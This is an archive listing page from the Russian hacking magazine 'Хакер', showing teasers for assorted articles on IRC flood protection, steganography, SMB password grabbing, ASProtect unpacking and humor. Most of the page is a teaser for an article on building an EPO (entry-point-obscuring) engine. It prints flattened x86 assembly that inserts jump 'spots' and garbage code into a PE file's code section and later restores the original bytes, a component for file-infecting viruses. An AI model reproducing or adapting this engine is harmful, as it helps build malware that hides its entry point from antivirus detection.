Временная скидка 60% на годовую подписку!
Главная Материалы сайта (страница 120)

Материалы сайта

Как бороться с поисковиками

Любой более-менее знакомый с CGI-программированием чел может запросто флудить роботов-поисковиков. Для этого обычно советуют проверять на USER_AGENT и т. п. А ведь у одного только Яндекса имен роботов несколько... Да и ручная проверка тоже присутствует иногда

Вий-9х

Вот уже третью ночь семинарист Хома Брут читал молитвы в старой церкви над гробом усопшей дочери пана, очертив на полу круг мелом. Первые две ночи ведьма вставала из гроба и ходила рядом, творя черные заклинания, но не в силах переступить черту

Сетевые возможности QNX №1

Используемый в QNX4 компактный, но при этом полнофункциональный сетевой протокол FLEET обеспечивает QNX-сети высокую производительность и надежность, а используемый в этой передовой технологии механизм передачи сообщений позволяет представить локальную сеть в виде единого набора ресурсов

HTML Source Code Explorer Bar 2.0

Очень удобная программа, которая покажет исходник любой формы на страничке в виде удобной структуры. Более того, программа в реальном времени позволяет изменять значения любых полей перед отправкой, даже скрытых(hidden) полей

Паразитные расчеты: тебя уже используют

Сначала появились хакеры, они лично проникали в компьютеры жертв, чтобы выкрасть личную информацию либо порушить систему. Затем настал черед вирей и троянов, миниатюрных программ, способных так же выкрасть или порушить машину пользователя. 

Virus Cleaner

Небольшая утилитка для лечения компьютера от наиболее распространенных интернет-червей, на сегодняшней день программа способна очистить компьютер от следующих вирусов: Badtrans, BugBear, Nimda, Opas(aka Opasoft, Opaserv), Sircam, Sobig и Yaha(aka Lentin).

Яичница

Истеpические пpедпосылки Еще с незапамятных вpемен яйцо и пpодyкты из яйца слyжили важным пpодyктом, в том числе и питания. Дpевние pимляне (когда они еще не осознавали свою дpевность) любили скyшать яишенкy-дpyгyю, пpежде чем отпpавляться наблюдать за гонениями на пеpвых хpистиан, котоpые гонялись львами без всякого на то почтения к чyжой pелигии

Добыватель SMB паролей: теория

Вступление Мне не хотелось писать о том что знающий уже знает, а незнающий не поймет. Поэтому, прошу, не судить меня строго, статья рассчитана на начинающих и служит высшей цели - продолжению :) Итак, начнем... Что такое MAC адрес? Для передачи данных по сети используются пакеты

Теория стеганографии

Какая еще стеганография? За последние несколько лет активность спецслужб значительно возросла. Увеличились также их права относительно методов добычи информации, теперь они имеют право на чтение твоей личной переписки

Построение простого EPO мотора №2

;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOTS GENERATION SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; spots:  ; Подпрограмма генерации ; пятен mov ecx,1 ; Кладём в ecx единицу ; call reset ; Подготавливаем данные call num_spots ; Генерируем случайное число ; это будет кол-во пятен tred:  call save_bytes ; Сохраняем затираемы байты call gen_spot ; Генерируем пятно inc ecx ; Увеличиваем ecx на единицу cmp ecx,[ebp+n_spots] ; Все пятна сгенерированы jne tred ; Если нет, то генерируем call save_bytes ; Сохраняем последние байты call gen_final_spot ; И генерируем последнее ; пятно ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOT GENERATION SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; gen_spot:  ; Подпрограмма генерации  ; одного пятна push eax ecx ; Сохраняем eax и ecx call len_sp_jmp ; Получаем случайную длину xchg eax,ebx ; прыжка пятна call testing ; Проверяем, чтобы пятно jc quit2 ; не выходило за кодовую ; секцию push ebx xor bx,bx dec bx mov ecx,[ebp+num1] ; Генерируем первую партию call garbage ; мусора pop ebx mov al,0e9h ;  stosb ; mov eax,0 ; Генерируем jmp add eax,ebx ; add eax,ecx ; stosd ; push ebx xor bx,bx dec bx mov ecx,[ebp+num2] ; Генерируем вторую партию call garbage ; мусора pop ebx sub edi,[ebp+num2] ;  add edi,[ebp+num1] ; Корректируем edi add edi,ebx ; quit2: pop ecx eax ; Восстанавливаем ecx и eax ret ; Возврат из подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; LAST SPOT GENERATION SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; gen_final_spot:  ; Подпрограмма генерации ; финального пятна push eax ecx ; Сохраняем eax и ecx jc not_big ; Если длина не превышает inc [ebp+n_spots] ; размера кодовой секции, то not_big: ; Увеличим кол-во пятен mov ecx,[ebp+num1] ; Генерируем мусорные call garbage ; инструкции push edi ; Сохраняем edi sub edi,[ebp+start_code] ; Подготавливаем длину jmp'a mov ebx,edi ; для последнего пятна pop edi ; Восстанавливаем edi mov al,0e9h ; stosb ; mov eax,0 ; sub eax,5 ; Генерируем финальное sub eax,ebx ; пятно add eax,[ebp+new_eip] ; sub eax,[ebp+old_eip] ; stosd ; mov ecx,[ebp+num2] ; Генерируем вторую партию call garbage ; мусорных инструкций pop ecx eax ; Восстанавливаем ecx и eax ret ; Возврат из подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOTS GENERATION SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; ADDRESS OF SAVING BYTES -> EDI ; ; QUANTITY OF BYTES -> EBX ; ;--------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; save_bytes: ; Подпрограмма сохранения ; заменяемых байт pusha ; Сохраняем всё в стэке call length1 ; Генерируем длины мусорных ; инструкций mov ebx,[ebp+num1] ; Помещаем в ebx первую  add ebx,[ebp+num2] ; и вторую длины add ebx,5 ; Добавляем к ebx - 5 mov esi,edi ; Сохраняем в буфере с  mov edi,[ebp+pointer] ; начала смещение в памяти mov eax,esi ; на сохраняемые байты stosd ; mov ecx,ebx ; После этого сохраняем в mov eax,ecx ; буфере кол-во сохраняемых stosd ; байт rep movsb ; И в самом конце сохраняем mov [ebp+pointer],edi ; в буфере сами байты ; popa ; Вынимаем всё из стека ret ; Возврат из подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; RESTORE SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; OLD ENTRY POINT -> EBX ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; restore: ; Подпрограмма  ; восстановления сохранённых ; байт cld ; Поиск вперёд lea esi,[ebp+rest_bytes] ; В esi указазатель на буфер mov edx,1 ; В edx кладём - 1 not_enough: mov edi,[ebp+old_eip] ; В edi загружаем точку add edi,[ebp+image_base] ; входа mov ebx,edi ; Сохраняем edi в ebx lodsd ; В eax старое смещение ; байт в памяти sub eax,[ebp+start_code] ; Отнимаем смещение начала ; кода и добавляем  add edi,eax ; точку входа lodsd ; Загружаем в eax кол-во  mov ecx,eax ; байт и кладём их в ecx rep movsb ; Перемещаем оригинальные ; байты на старое место inc edx ; Переходим к следующему  cmp edx,[ebp+n_spots] ; пятну jl not_enough ; если не все пятна вернули, ; то восстанавливаем дальше quit: ;  ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; LENGTH SPOT GENERATION SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; length1: ; Подпрограмма генерации ; длин мусорных инструкций mov eax,20 ; call brandom32 ; Генерируем случайное число test eax,eax ; в диапазоне 1..19 jz length1 ; mov [ebp+num1],eax ; Сохраняем его в переменную rand2: mov eax,20 ; call brandom32 ; Генерируем случайное число test eax,eax ; в диапазоне 1..19 jz rand2 ; mov [ebp+num2],eax ; Сохраняем его в вторую ; переменную ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; RESET SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; reset: ; Подпрограмма инициализации ; переменных mov edi,[ebp+start_code] ; ;  push esi ; Инициализируем переменные lea esi,[ebp+rest_bytes] ; mov [ebp+pointer],esi ; pop esi ; ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOT JUMP LENGTH GENERATION SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; LENGTH OF SPOT JUMP -> EAX ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; len_sp_jmp: ; Подпрограмма генерации ; длины прыжка mov eax,150 ; call brandom32 ; Генерируем случайное число cmp eax,45 ; в диапазоне 45..149 jle len_sp_jmp ; ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOTS NUMBER GENERATION SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; num_spots: ; Подпрограмма генерации ; количества пятен pusha ; Сохраняем всё в стеке mov eax,40 ; Генерируем случайное число call brandom32 ; в диапазоне 1..40 inc eax ; И сохраняем его в mov [ebp+n_spots],eax ; переменной popa ; Вынимаем всё из стэка ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; TESTING SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; CARRY FLAG ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; testing: ; Подпрограмма проверки ; попадания в границу секции push edi eax ; Сохраняем edi eax в стэке add edi,[ebp+num1] ; Добавим к edi 1-ую длину ; мусорных инструкций add edi,[ebp+num2] ; После этого добавим 2-ую add edi,300 ; И добавим число в которое ; входит максимальный размер ; пятна + длина его прыжка mov eax,[ebp+size_for_spot] ; В eax загрузим размер  ; места для пятен и смещение add eax,[ebp+start_code] ; в памяти точки входа cmp edi,eax ; Сравним eax и edi clc ; Сбросим carry флаг jl m_space ; Если edi меньше, то все ; хорошо mov [ebp+n_spots],ecx ; Если нет, то мы уменьшаем inc [ebp+n_spots] ; количество пятен и  stc ; устанавливаем carry флаг m_space: pop eax edi ; Вынимаем eax и edi  ret ; Возврат из процедуры ;--------------------------; pointer dd 0 ; n_spots dd 0 ; ; num1 dd 0 ; num2 dd 0 ; ; Данные необходимые для PE_header dd 0 ; работы мотора old_eip dd 0 ; image_base dd 0 ; start_code dd 0 ; new_eip dd 0 ; map_address dd 0 ; size_for_spot dd 0 ; rest_bytes: db 2100 dup (?) ; ;--------------------------; В качестве параметра данному мотору передаётся адрес файла в памяти (MapViewOfFile)

Построение простого EPO мотора №1

В данной статье мы рассмотрим моделирование простого EPO мотора. На данную тему уже было написано несколько статей, но они в большей степени теоретические. В этом тексте будет рассмотрено, как теоритическое моделирование так и пример применения этой теории

Performance Inspector

Пакет программ позволяющий определить участки программы имеющие проблемы с производительностью, имеется возможность контроля взаимодействия программы с Linux ядром через системные вызовы.

Антифлуд скрипт для eggdrop

В последнее время большинство IRC сетей подвергается атакам клон-ботов. Для того, чтобы нагнать трафик серверу и юзерам, сидящим на нем, злоумышленник управляет системой ботов (от десятки до тысячи экземпляров), которые джойнятся на определенный канал, создавая при этом огромный флуд

Кpаткое описание Матpицы 2

Сион. Такой подземный гоpод. Где Помои и Кибеpпанк. МОРФЕЙ и ГЛАВHЫЙ вдyмчиво смотpят в мискy с кофейной гyщей. МОРФЕЙ: Что это они делают? ГЛАВHЫЙ: Бypят. 250000 машин. МОРФЕЙ: Это ЖОПА. С таким количеством бypят нам не спpавиться. ГЛАВHЫЙ: Спокойно, солдат! Мы бyдем сpажаться до последней капли вашей кpови! HЕО: Я не знаю, что делать

The Matrix: Перегрузка? №2

И еще немного о Матрице. Первое, что сразу хочется отметить, я не являюсь поклонником матрицы, поэтому мои рассуждения не строятся на слепом поклонении культовому фильму. А фильм действительно культовый. Но почему? Только из-за спецэффектов? Конечно, нет

Диспетчер задач

Если в Windows 2000/XP кликнуть в Диспетчере задач 2 раза по области между строкой меню и закладками, то останется только текущая закладка и исчезнет меню, что позволит подобрать оптимальный размер окна менеджера (в обычном режиме это невозможно)

Распаковка и исследование №4

Перейдем к следующему виду проверки, кнопке "Hw.Check" с полем ввода. Попробуем написать, туда что-нибудь, скорее всего получим сообщение "THE KEY MUST CONSIST THE LETTERS FROM A TO J". Сие означает, что ключ должен содержать латинские буквы от A до J

Виртуальная Секс-Машина

Я уверен, рано или поздно человечество само залезет в Матрицу. И будет там, постанывая и покряхтывая, ворочаться в плотно облегающем секс-коконе. Только губы наружу оставит — потому что курить любит…

Slap! v1.1.1.6

Программа отвечает на попытки сканирования системы извне несколькими пакетами, давая понять, что всё под контролем.

Распаковка и исследование №3

Статья состоит из двух независимых друг от друга частей. 1. Распаковка ASProtect v.1.2 2. Исследование защиты самой программы. Для скачивания доступны, как распакованная так и запакованная версия подопытной программы. 1. Распаковка

Страница 120 из 200В начало...90100110118119120121122 130140150...

25 лет «Хакеру»!

Еженедельный дайджест

Спасибо за подписку! Мы будем присылать важные новости ИБ в еженедельном дайджесте
Ошибка при подписке Случилась ошибка при создании подписки на наш дайджест. Пожалуйста, попробуйте позднее
Важные события и скидка на подписку:
«ХАКЕР» ДОСТУПЕН ТОЛЬКО В ЭЛЕКТРОННОЙ ВЕРСИИ
Оформи подписку — получи:
  • доступ к платным материалам сайта
  • доступ ко всем номерам PDF
4000 р.
на год
920 р.
на месяц

«Хакер» в соцсетях

Материалы для подписчиков